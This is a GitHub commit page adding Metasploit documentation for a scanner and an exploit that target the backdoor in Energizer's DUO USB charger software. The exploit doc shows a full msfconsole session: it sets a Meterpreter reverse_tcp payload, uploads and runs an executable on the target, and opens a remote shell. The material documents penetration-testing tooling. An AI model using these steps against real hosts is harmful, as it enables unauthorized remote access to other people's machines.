Skip to content

Commit 96e3d61

Browse files
author
Brent Cook
committed
Land rapid7#8297, add docs for energizer duo scanner and exploit
2 parents 86365c8 + c4bb918 commit 96e3d61

File tree

2 files changed

+63
-0
lines changed

2 files changed

+63
-0
lines changed
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
## Vulnerable Application
2+
3+
More information can be found on the [Rapid7 Blog](https://community.rapid7.com/community/metasploit/blog/2010/03/08/locate-and-exploit-the-energizer-trojan).
4+
Energizer's "DUO" USB Battery Charger included a backdoor which listens on port 7777.
5+
6+
The software can be downloaded from the [Wayback Machine](http://web.archive.org/web/20080722134654/www.energizer.com/usbcharger/language/english/download.aspx).
7+
8+
## Verification Steps
9+
10+
1. Install the vulnerable software
11+
2. Start msfconsole
12+
3. Do: `use auxiliary/scanner/backdoor/energizer_duo_detect`
13+
4. Do: `set rhosts`
14+
5. Do: `run`
15+
16+
## Scenarios
17+
18+
A run against the backdoor
19+
20+
```
21+
msf > use auxiliary/scanner/backdoor/energizer_duo_detect
22+
msf auxiliary(energizer_duo_detect) > set RHOSTS 192.168.0.0/24
23+
msf auxiliary(energizer_duo_detect) > set THREADS 256
24+
msf auxiliary(energizer_duo_detect) > run
25+
26+
[*] 192.168.0.132:7777 FOUND: [["F", "AUTOEXEC.BAT"]...
27+
```
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
## Vulnerable Application
2+
3+
More information can be found on the [Rapid7 Blog](https://community.rapid7.com/community/metasploit/blog/2010/03/08/locate-and-exploit-the-energizer-trojan).
4+
Energizer's "DUO" USB Battery Charger included a backdoor which listens on port 7777.
5+
6+
The software can be downloaded from the [Wayback Machine](http://web.archive.org/web/20080722134654/www.energizer.com/usbcharger/language/english/download.aspx).
7+
8+
## Verification Steps
9+
10+
1. Install the vulnerable software
11+
2. Start msfconsole
12+
3. Do: `use exploit/windows/backdoor/energizer_duo_payload`
13+
4. Do: `set rhost`
14+
5. Do: `set payload`
15+
6. Do: `exploit`
16+
17+
## Scenarios
18+
19+
A run against the backdoor
20+
21+
```
22+
msf > use exploit/windows/backdoor/energizer_duo_payload
23+
msf exploit(energizer_duo_payload) > set RHOST 192.168.0.132
24+
msf exploit(energizer_duo_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
25+
msf exploit(energizer_duo_payload) > set LHOST 192.168.0.228
26+
msf exploit(energizer_duo_payload) > exploit
27+
28+
[*] Started reverse handler on 192.168.0.228:4444
29+
[*] Trying to upload C:\NTL0ZTL4DhVL.exe...
30+
[*] Trying to execute C:\NTL0ZTL4DhVL.exe...
31+
[*] Sending stage (747008 bytes)
32+
[*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.132:1200)
33+
34+
meterpreter > getuid
35+
Server username: XPDEV\Developer
36+
```

0 commit comments

Comments
 (0)